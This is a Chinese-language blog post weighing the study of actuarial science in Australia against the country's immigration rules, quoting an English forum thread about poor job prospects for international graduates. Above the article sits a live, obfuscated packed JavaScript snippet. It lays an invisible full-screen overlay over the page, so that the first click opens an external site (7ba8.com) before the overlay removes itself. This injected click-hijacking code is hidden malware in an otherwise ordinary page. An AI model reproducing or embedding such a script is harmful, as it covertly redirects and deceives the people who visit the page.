<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>由于自己本身对精算也有兴趣，主要是名字看起来太高大上，到时候老爸老妈说出去也脸上有光。而对八大姑七大姨那种只知道比谁的孩子先结婚生胖小子的人来讲，会计明显是一个毫无前途的专业，就是算账的。只有精算才能堵上他们的嘴。undefined
但是我本身是想留在澳洲的，所以对移民政策也非常关注。最后就发现了一些关于精算的问题。
首先，精算的职业认证需要1年的全职工作经验。那么工作好不好找呢？带着这个问题，我潜入了澳洲当地的一个论坛。
在多次寻找后，发现了一个很有代表性的帖子。
楼主也是国际学生，他发表的原帖如下：
Hi, I am an International student and graduating this year from Leeds University in BSc Economics and Finance with a first degree in the UK and I'm considering to get a master in actuarial science in Australia. Now the choices are ANU's 2.5 year programme, UNSW's and MQ's 2 year programmes. I am planning to get a master then to work for 2 years in financial industry in Australia and then apply for another master in Financial engineering in the UK or in the US. I prefer a quantitative job in financial industry, because I'm so bloody good at math and so terrible at literature. However, I chose the wrong bachelor as economics and this course involves too many "literature" things, which is not my taste. So which university should I choose to fortify my math skills in order to pursue a top master in the US. e.g. Master of Mathematical Finance at MIT, Berkeley, LSE or Oxbridge. Will ANU's world reputation bring me any convenience? Or will MQ's reputation in Actuarial field be better?
Can some one please give me some advice? I know very few about universities in Australia. Many thanks!
后面的回帖，暴露出了一些关于精算比较现实也比较残酷的问题：
I'm considering to get a master in actuarial science in Australia.
Why?
I am planning to get a master then to work for 2 years in financial industry in Australia
Honestly you will struggle to land a job. A masters degree with no experience will make you look overqualified. The fact you are an international student will just make your situation more dire.
then apply for another master in Financial engineering in the UK or in the US.
Why another masters? Why not apply to the US/UK first?
I prefer a quantitative job in financial industry, because I'm so bloody good at math and so terrible at literature.
Bad news for you, even quantitative jobs require you to write reports about your results. I'm an engineer, a very quantitative discipline, but I do a LOT of report writing.
I chose the wrong bachelor as economics and this course involves too many "literature" things, which is not my taste.
Undergraduate economics is more about the underlying theories and knowledge. Graduate economics is more about maths and modeling. Either way, your quantitative skills are useless if you can't communicate what you did, why you did it, and what the results are.
后面还有很多回帖，内容基本和这个一样。
另外，在yeeyi网站有一张关于精算的讨论帖，直接搜“精算”就能很容易找到，内容和澳洲local讲的这个是相吻合的。
如果选择精算，就一定要成绩好。读本科的要努力拿到honor年。
这其实牵扯到澳洲精算师协会的坑爹。由于澳洲精算师协会对于精算师认证太简单，走的是读认证课程就可以成为准精算师，造成精算师实际上仍然供大于求（这在全世界都是罕见的）。作为国际学生，另外一方面就是英语一定要好，精算并不只是自己在那里算就可以，还牵扯到很多report的内容，对于交流的要求也很高。所以这也是很多中国学生的误区之一，以为只要数学水平好就能做好精算的工作。
所以，真实情况就是找工作很难，而且精算的就业面比较窄，也没有办法找相关职业混过职业认证，也没有职业年课程可以代替。所以没有找到工作就没有职业认证，没有职业认证就不能申请移民，没有PR就更不好找工作。。。这几乎是一个死循环。。
最后，如果打算回国发展，精算专业是很值得一读的，尤其是澳洲国立、新南威尔士大学、麦考瑞大学、墨大，名气在国内大，回国发展只看名气就可以。如果打算移民，我的建议是谨慎考虑精算专业。
特别说明一下，拿绿卡有两大前提
职业评估雅思成绩达标（一般是四个六）
只有在这两个的基础上，才考虑到移民分数够不够的问题。
所以在选择专业时，一定要关注职业评估的要求。比如精算，要求1年相关工作经验，这个难度还是比较大的，而且没有像IT类可以用职业年代替的政策。 |
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